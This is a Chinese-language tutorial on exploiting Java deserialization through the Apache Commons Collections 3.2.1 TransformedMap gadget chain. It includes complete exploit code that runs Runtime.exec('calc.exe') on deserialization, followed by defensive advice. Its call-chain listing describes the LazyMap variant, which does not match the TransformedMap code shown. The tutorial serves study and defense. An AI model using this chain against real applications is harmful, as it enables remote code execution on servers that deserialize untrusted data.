Java反序列化-CC链,从0到0
字数 1702 2025-08-29 08:30:12

Java反序列化漏洞分析:CommonsCollections-TransformedMap链利用

一、环境准备

1. Java版本要求

  • Java版本:必须使用Java 8u71之前的版本(推荐使用Java 8u65)
  • 下载地址
    • Oracle Java 8存档页面(中文):https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
    • Oracle Java 8存档页面(英文):https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

注意:在下载页面搜索特定版本(如8u65)时可能会下载到错误版本(如8u111),需要多次尝试确认。

2. 源码配置

  1. 下载JDK 8u65源码:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
  2. 解压后找到目录:src/share/classes/sun
  3. 将sun包内容复制到Java 8u65的src目录中
  4. 在IDEA中配置sourcepath指向src目录

3. Maven依赖

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    <dependency>
        <groupId>junit</groupId>
        <artifactId>junit</artifactId>
        <version>4.13.2</version>
        <scope>test</scope>
    </dependency>
</dependencies>

二、漏洞利用链分析

1. 完整利用链

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

2. 核心组件分析

(1) InvokerTransformer类

位于org.apache.commons.collections.functors.InvokerTransformer,实现了Transformer接口:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (NoSuchMethodException ex) {
        // 异常处理...
    }
}

构造函数:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

示例利用:

@Test
public void test1() throws IOException, ClassNotFoundException {
    InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec", 
        new Class[]{String.class}, 
        new Object[]{"calc.exe"}
    );
    invokerTransformer.transform(Runtime.getRuntime());
}

(2) TransformedMap类

位于org.apache.commons.collections.map.TransformedMap,关键方法:

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

构造方法:

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

工厂方法:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

(3) MapEntry类

位于AbstractInputCheckedMapDecorator内部类:

static class MapEntry extends AbstractMapEntryDecorator {
    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

(4) AnnotationInvocationHandler类

位于sun.reflect.annotation.AnnotationInvocationHandler,关键反序列化方法:

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
    // ...
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(...));
            }
        }
    }
}

三、完整利用过程

1. 构造Transformer链

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),  // 获取Runtime.class
    new InvokerTransformer("getMethod",     // 获取getRuntime方法
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke",       // 调用getRuntime()
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec",         // 调用exec()
        new Class[]{String.class}, 
        new Object[]{"calc.exe"})
});

2. 构造恶意Map

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");  // 必须使用"value"作为key
Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, chainedTransformer);

3. 创建AnnotationInvocationHandler实例

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorated);

4. 序列化与反序列化触发

// 序列化
serializable(o);
// 反序列化触发漏洞
unserializable("ser.bin");

四、关键点解析

  1. 为什么使用"value"作为key

    • AnnotationInvocationHandler会检查key是否存在于memberTypes
    • 使用Target.class时,memberTypes包含value
  2. 绕过Runtime不可序列化问题

    • 使用Runtime.class代替Runtime.getRuntime()
    • 通过反射链动态获取Runtime实例
  3. Transformer链执行顺序

    • ConstantTransformer提供初始对象(Runtime.class)
    • 第一个InvokerTransformer获取getRuntime方法
    • 第二个InvokerTransformer调用getRuntime()
    • 第三个InvokerTransformer调用exec()
  4. 触发条件

    • 反序列化时AnnotationInvocationHandler.readObject()被调用
    • 遍历Map时会调用setValue()方法
    • setValue()触发Transformer.transform()链式调用

五、防御建议

  1. 升级Commons Collections到安全版本(3.2.2+)
  2. 升级Java到8u71及以上版本
  3. 使用反序列化过滤器(ObjectInputFilter)
  4. 避免反序列化不可信数据

注意:此漏洞在Java 8u71后被修复,因为AnnotationInvocationHandler.readObject()的实现发生了变化。

Java反序列化漏洞分析:CommonsCollections-TransformedMap链利用 一、环境准备 1. Java版本要求 Java版本 :必须使用Java 8u71之前的版本(推荐使用Java 8u65) 下载地址 : Oracle Java 8存档页面(中文):https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html Oracle Java 8存档页面(英文):https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 注意 :在下载页面搜索特定版本(如8u65)时可能会下载到错误版本(如8u111),需要多次尝试确认。 2. 源码配置 下载JDK 8u65源码:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4 解压后找到目录: src/share/classes/sun 将sun包内容复制到Java 8u65的src目录中 在IDEA中配置sourcepath指向src目录 3. Maven依赖 二、漏洞利用链分析 1. 完整利用链 2. 核心组件分析 (1) InvokerTransformer类 位于 org.apache.commons.collections.functors.InvokerTransformer ,实现了Transformer接口: 构造函数: 示例利用: (2) TransformedMap类 位于 org.apache.commons.collections.map.TransformedMap ,关键方法: 构造方法: 工厂方法: (3) MapEntry类 位于 AbstractInputCheckedMapDecorator 内部类: (4) AnnotationInvocationHandler类 位于 sun.reflect.annotation.AnnotationInvocationHandler ,关键反序列化方法: 三、完整利用过程 1. 构造Transformer链 2. 构造恶意Map 3. 创建AnnotationInvocationHandler实例 4. 序列化与反序列化触发 四、关键点解析 为什么使用"value"作为key : AnnotationInvocationHandler 会检查key是否存在于 memberTypes 中 使用 Target.class 时, memberTypes 包含 value 键 绕过Runtime不可序列化问题 : 使用 Runtime.class 代替 Runtime.getRuntime() 通过反射链动态获取Runtime实例 Transformer链执行顺序 : ConstantTransformer 提供初始对象(Runtime.class) 第一个 InvokerTransformer 获取 getRuntime 方法 第二个 InvokerTransformer 调用 getRuntime() 第三个 InvokerTransformer 调用 exec() 触发条件 : 反序列化时 AnnotationInvocationHandler.readObject() 被调用 遍历Map时会调用 setValue() 方法 setValue() 触发 Transformer.transform() 链式调用 五、防御建议 升级Commons Collections到安全版本(3.2.2+) 升级Java到8u71及以上版本 使用反序列化过滤器(ObjectInputFilter) 避免反序列化不可信数据 注意 :此漏洞在Java 8u71后被修复,因为 AnnotationInvocationHandler.readObject() 的实现发生了变化。